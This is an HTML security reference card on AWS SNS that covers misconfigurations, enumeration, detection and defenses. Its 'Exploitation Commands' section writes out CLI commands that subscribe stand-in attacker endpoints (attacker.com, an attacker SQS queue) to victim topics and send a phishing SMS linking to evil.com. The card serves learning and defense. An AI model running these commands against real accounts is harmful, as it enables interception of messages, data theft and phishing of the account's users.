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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS SNS Security | AWS Security Cards</title>
<meta name="description" content="Simple Notification Service (SNS) enables pub/sub messaging to Lambda, SQS, HTTP endpoints, email, and SMS. Misconfigured topic policies can lead to data interception and unauthorized notifications.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/sns-card.webp" alt="AWS SNS Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/sns.svg" alt="AWS SNS Security" /></div>
<div>
<div>
<span class="header-title">AWS SNS Security</span>
<span class="header-badge">MESSAGING</span>
</div>
<p class="header-desc">Simple Notification Service (SNS) enables pub/sub messaging to Lambda, SQS, HTTP endpoints, email, and SMS. Misconfigured topic policies can lead to data interception and unauthorized notifications.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">MEDIUM</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Pub/Sub</div>
<div class="stat-label">Pattern</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">Fan-Out</div>
<div class="stat-label">Architecture</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">Push</div>
<div class="stat-label">Delivery</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Topics & Publishers</h4>
<p>Topics are logical access points. Publishers send messages to topics. Topic policies control who can publish and subscribe. Messages can be filtered per subscription.</p>
<div class="attack-note"><span style="color:#06b6d4;">Delivery:</span> Lambda, SQS, HTTP/S, Email, SMS, mobile push, Kinesis Firehose</div>
</div>
<div>
<h4 style="color: #06b6d4;">Subscriptions</h4>
<p>Subscribers receive messages from topics. Subscriptions require confirmation (except SQS/Lambda). Cross-account subscriptions enable data sharing - and potential abuse.</p>
<div class="attack-note"><span style="color:#06b6d4;">Protocols:</span> lambda, sqs, http, https, email, email-json, sms, application, firehose</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 60%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">6.0</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">SNS topic policy misconfigurations can allow attackers to subscribe and intercept messages, inject malicious messages, or abuse notification channels for phishing.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Message Interception</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Subscribe to sensitive topics</li><li><span class="bullet" style="color: #f87171;">•</span> Add HTTP endpoint subscription</li><li><span class="bullet" style="color: #f87171;">•</span> Create cross-account subscription</li><li><span class="bullet" style="color: #f87171;">•</span> Intercept security notifications</li><li><span class="bullet" style="color: #f87171;">•</span> Capture OTP/2FA codes via SMS topics</li></ul><h4 style="color: #f87171;">Message Injection</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Publish to misconfigured topics</li><li><span class="bullet" style="color: #f87171;">•</span> Inject malicious payloads to Lambda</li><li><span class="bullet" style="color: #f87171;">•</span> Trigger downstream actions via SNS</li><li><span class="bullet" style="color: #f87171;">•</span> Send phishing emails/SMS</li><li><span class="bullet" style="color: #f87171;">•</span> Abuse notification for spam</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Topic Policy Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Principal: * with no conditions</li><li><span class="bullet" style="color: #fb923c;">•</span> Allow SNS:Subscribe to anyone</li><li><span class="bullet" style="color: #fb923c;">•</span> Allow SNS:Publish to anyone</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing source account conditions</li><li><span class="bullet" style="color: #fb923c;">•</span> Overly permissive cross-account access</li></ul><h4 style="color: #fb923c;">Encryption & Logging</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Messages not encrypted (no SSE)</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing CloudTrail data events</li><li><span class="bullet" style="color: #fb923c;">•</span> No dead-letter queue for failures</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing subscription confirmation</li><li><span class="bullet" style="color: #fb923c;">•</span> Unvalidated HTTP endpoints</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List All Topics</div>
<pre><code>aws sns list-topics</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Topic Attributes</div>
<pre><code>aws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:123456789012:my-topic</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Subscriptions</div>
<pre><code>aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:us-east-1:123456789012:my-topic</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Subscription Attributes</div>
<pre><code>aws sns get-subscription-attributes --subscription-arn arn:aws:sns:us-east-1:123456789012:my-topic:xxx</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Check Data Protection Policy</div>
<pre><code>aws sns get-data-protection-policy --resource-arn arn:aws:sns:us-east-1:123456789012:my-topic</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📬 Subscription Attacks</h3><h4 style="color: #c084fc;">Unauthorized Subscription</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Subscribe your endpoint to capture messages</li><li><span class="bullet" style="color: #c084fc;">•</span> Use HTTP webhook to intercept data</li><li><span class="bullet" style="color: #c084fc;">•</span> Cross-account SQS subscription</li><li><span class="bullet" style="color: #c084fc;">•</span> Add email subscription for alerts</li><li><span class="bullet" style="color: #c084fc;">•</span> Subscribe Lambda for processing</li></ul><h4 style="color: #c084fc;">Subscription Confirmation Bypass</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> SQS/Lambda don't need confirmation</li><li><span class="bullet" style="color: #c084fc;">•</span> Email/HTTP require user action</li><li><span class="bullet" style="color: #c084fc;">•</span> Look for auto-confirm patterns</li><li><span class="bullet" style="color: #c084fc;">•</span> Exploit confirmation token leakage</li><li><span class="bullet" style="color: #c084fc;">•</span> Target misconfigured raw delivery</li></ul><div class="note"><strong>Tip:</strong> If you can add SQS subscriptions, no confirmation is needed - messages flow immediately.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">💉 Message Injection</h3><h4 style="color: #facc15;">Injection Scenarios</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Publish to trigger Lambda functions</li><li><span class="bullet" style="color: #facc15;">•</span> Inject malicious JSON payloads</li><li><span class="bullet" style="color: #facc15;">•</span> Trigger downstream SQS processing</li><li><span class="bullet" style="color: #facc15;">•</span> Send fake alerts to response teams</li><li><span class="bullet" style="color: #facc15;">•</span> Abuse notification for social engineering</li></ul><h4 style="color: #facc15;">Impact</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Execute code in Lambda subscribers</li><li><span class="bullet" style="color: #facc15;">•</span> Corrupt data in processing pipelines</li><li><span class="bullet" style="color: #facc15;">•</span> Denial of service via message flood</li><li><span class="bullet" style="color: #facc15;">•</span> Trigger false security alerts</li><li><span class="bullet" style="color: #facc15;">•</span> Phishing via legitimate SNS channels</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Subscribe - new subscription created</li><li><span class="bullet" style="color: #4ade80;">•</span> Publish - message published</li><li><span class="bullet" style="color: #4ade80;">•</span> SetTopicAttributes - policy changed</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateTopic - new topic created</li><li><span class="bullet" style="color: #4ade80;">•</span> ConfirmSubscription - sub confirmed</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Subscriptions from unknown accounts</li><li><span class="bullet" style="color: #4ade80;">•</span> HTTP endpoints to external domains</li><li><span class="bullet" style="color: #4ade80;">•</span> Bulk subscription creation</li><li><span class="bullet" style="color: #4ade80;">•</span> Topic policy modifications</li><li><span class="bullet" style="color: #4ade80;">•</span> Unusual publish patterns</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Subscribe HTTP Endpoint</div>
<pre><code>aws sns subscribe \\
--topic-arn arn:aws:sns:us-east-1:VICTIM:alerts \\
--protocol https \\
--notification-endpoint https://attacker.com/capture</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Subscribe Cross-Account SQS</div>
<pre><code>aws sns subscribe \\
--topic-arn arn:aws:sns:us-east-1:VICTIM:data-topic \\
--protocol sqs \\
--notification-endpoint arn:aws:sqs:us-east-1:ATTACKER:capture-queue</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Publish Message to Topic</div>
<pre><code>aws sns publish \\
--topic-arn arn:aws:sns:us-east-1:TARGET:process-queue \\
--message '{"action":"delete","target":"*"}' \\
--message-attributes '{"Type":{"DataType":"String","StringValue":"Command"}}'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Send Phishing SMS</div>
<pre><code>aws sns publish \\
--phone-number "+1234567890" \\
--message "Your AWS account requires verification: https://evil.com/login"</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Check Topic Policy</div>
<pre><code>aws sns get-topic-attributes \\
--topic-arn arn:aws:sns:us-east-1:123456789012:my-topic \\
--query 'Attributes.Policy' | jq -r . | jq .</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Modify Topic Policy (if permitted)</div>
<pre><code>aws sns set-topic-attributes \\
--topic-arn arn:aws:sns:us-east-1:TARGET:topic \\
--attribute-name Policy \\
--attribute-value file://permissive-policy.json</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Public Topic</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": ["SNS:Subscribe", "SNS:Publish"],
"Resource": "arn:aws:sns:us-east-1:123456789012:my-topic"
}]
}</code></pre>
<p class="policy-desc">Anyone can subscribe and publish - full message interception and injection</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Restricted Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": ["SNS:Subscribe", "SNS:Publish"],
"Resource": "arn:aws:sns:us-east-1:123456789012:my-topic",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "123456789012"
}
}
}]
}</code></pre>
<p class="policy-desc">Only same-account principals can interact with the topic</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Risky - Cross-Account Subscribe</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:123456789012:alerts",
"Condition": {
"StringEquals": {
"SNS:Protocol": "sqs"
}
}
}]
}</code></pre>
<p class="policy-desc">Any account can subscribe SQS queues - no confirmation needed</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Protocol & Account Restricted</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::TRUSTED_ACCOUNT:root"},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:123456789012:data-topic",
"Condition": {
"StringEquals": {
"SNS:Protocol": "sqs",
"SNS:Endpoint": "arn:aws:sqs:us-east-1:TRUSTED_ACCOUNT:approved-queue"
}
}
}]
}</code></pre>
<p class="policy-desc">Only specific account and queue can subscribe</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable Server-Side Encryption</h4>
<p>Encrypt messages at rest with KMS.</p>
<pre><code>aws sns set-topic-attributes \\
--topic-arn arn:aws:sns:us-east-1:123456789012:my-topic \\
--attribute-name KmsMasterKeyId \\
--attribute-value alias/sns-key</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Restrict Topic Policies</h4>
<p>Never use Principal: * without conditions. Specify accounts and protocols.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Enable CloudTrail Data Events</h4>
<p>Log all SNS publish and subscribe operations for auditing.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Use Data Protection Policies</h4>
<p>Detect and protect sensitive data in messages (PII, credentials).</p>
<pre><code>aws sns put-data-protection-policy \\
--resource-arn arn:aws:sns:...:topic \\
--data-protection-policy file://policy.json</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">✅</span>
<div>
<h4>Validate Subscriptions</h4>
<p>Review subscriptions regularly. Remove unknown or suspicious endpoints.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🎯</span>
<div>
<h4>Use Subscription Filter Policies</h4>
<p>Limit what messages each subscriber receives to reduce exposure.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS SNS Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>